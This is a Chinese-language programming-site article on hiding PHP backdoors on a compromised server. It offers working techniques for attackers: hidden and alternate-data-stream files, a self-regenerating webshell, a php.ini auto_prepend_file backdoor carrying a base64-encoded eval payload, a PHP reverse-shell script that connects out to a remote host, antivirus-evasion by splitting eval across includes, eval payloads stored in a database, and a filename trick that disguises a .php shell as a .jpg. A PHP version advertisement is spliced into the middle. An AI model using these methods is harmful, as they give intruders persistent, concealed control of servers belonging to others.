跳转到主内容
新派编程网 - 新潮编程理念,全新技术课堂!

php如何隐藏后门

php隐藏后门的方法:1、创建系统隐藏文件;2、利用ADS隐藏文件;3、在php环境变量中留shell;4、设置不死马;5、设置“php.ini”后门;6、将关键字拆分,并进行多文件包含;7、将真正的一句话写入数据库。 推荐:《 PHP教程 》 php后门隐藏技巧 1. attrib +s +h 创建系统隐藏文件: 立即学习 “ PHP免费学习笔记(深入) ”; attrib +s +a +r +h attrib +s +h 文件名 在 Windows 10下即使开启了显示隐藏的项目,或dir仍然看不见。 2. 利用 ADS 隐藏文件 NTFS交换数据流(Alternate Data Streams,简称 ADS)是 NTFS 磁盘格式的一个特性,在 NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。利用ADS 数据流,我们可以做很多有趣的事情。(抄的) 首先创建 ADS 隐藏文件 在命令行,echo 一个数据流进去,比如 index 文件是正常文件。
echo ^ > index.php:shell.jpg
这样就生成了一个不可见的 index.php:shell.jpg 使用dir /r查看 可使用命令直接修改,要删除的话 直接删除 index.php就ok了 第二步,直接使用正常文件包含。 做一些免杀 把 index.php:shell.jpg hex 编码
3.php环境变量留shell 在c盘创建这个目录 丢个图片一句话 然后文件包含,就好。为了隐蔽可以包含图片马,txt等。 PHP 8.5.5 PHP 8.5.5 是 PHP 8.5 分支的维护更新版本。该版本延续了“小步快跑”的迭代逻辑,通过深度错误修复、底层性能微调以及安全加固,旨在为开发者提供一个更健壮、更高效的运行环境。该版本严格遵守语义化版本规范,不包含破坏性变更。 下载 4.不死马 运行后,会删除自身,生成一个 webshell.php,管理员删除后还会生成。
'); sleep(5); }
解决覆盖重写或者重启 web 服务删掉即可。
五. php.ini后门 将下面后门写入php.ini
allow_url_include=On auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+" // base64 // 后门类型可自己修改。
这些做好后,重启 web 服务就好了。 方法1. 如果权限很大的话,自己手动重启,缺点容易暴露,重启服务,就要上服务器,某里的服务器,异地登陆有短信提醒。 方法2.就是加载一个 php_socke.php 脚本,让他重新加载 php.ini 此后门,任何php都可菜刀连接
'c:\windows\system32');} $descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),); $host=gethostbyname($host); $proto=getprotobyname("tcp"); if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");} if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");} else{ $message="PHP反弹连接 "; @socket_write($sock,$message,strlen($message)); $cwd=str_replace('\','/',dirname(__FILE__)); while($cmd=@socket_read($sock,65535,$proto)) { if(trim(strtolower($cmd))=="exit"){ socket_write($sock,"Bye ");exit; }else{ $process=proc_open($cmd,$descriptorspec,$pipes,$cwd,$env); if(is_resource($process)){ fwrite($pipes[0],$cmd); fclose($pipes[0]); $msg=stream_get_contents($pipes[1]); socket_write($sock,$msg,strlen($msg)); fclose($pipes[1]); $msg=stream_get_contents($pipes[2]); socket_write($sock,$msg,strlen($msg)); $return_value=proc_close($process); } } } } } ?> //此脚本非百分百成功
6.  关键字拆分,多文件包含! 比如一句话:@eval($_POST['x']);我们可以写成$a=$_POST['x'];@eval($a); 我们可以将 $a=$_POST['x'];写入一个文件 POST.php 然后在 @eval($a); 一句话的上方使用 include "POST.php";的方式引用! 7.将真正的一句话写入数据库 当我们发现源码有个地方执行了数据库操作,那我们就可以改源码和数据库啦~ 比如,修改成 eval(查出的数据); 8.以下是linux的 无意中发现的。具体看代码。
生成一个文件。 在目录下看到是显示 名字为 guige.jpg 但是 web 浏览 却发现 没有找到 guige.jpg  后来发现 需要添 guige.jpg%09.php  这样 的话就导致我们可以对后门隐藏了。。管理员看到的是.jpg 我们却可以 web 用.php 解析来 连接。。。有用的到的可以看看。

相关文章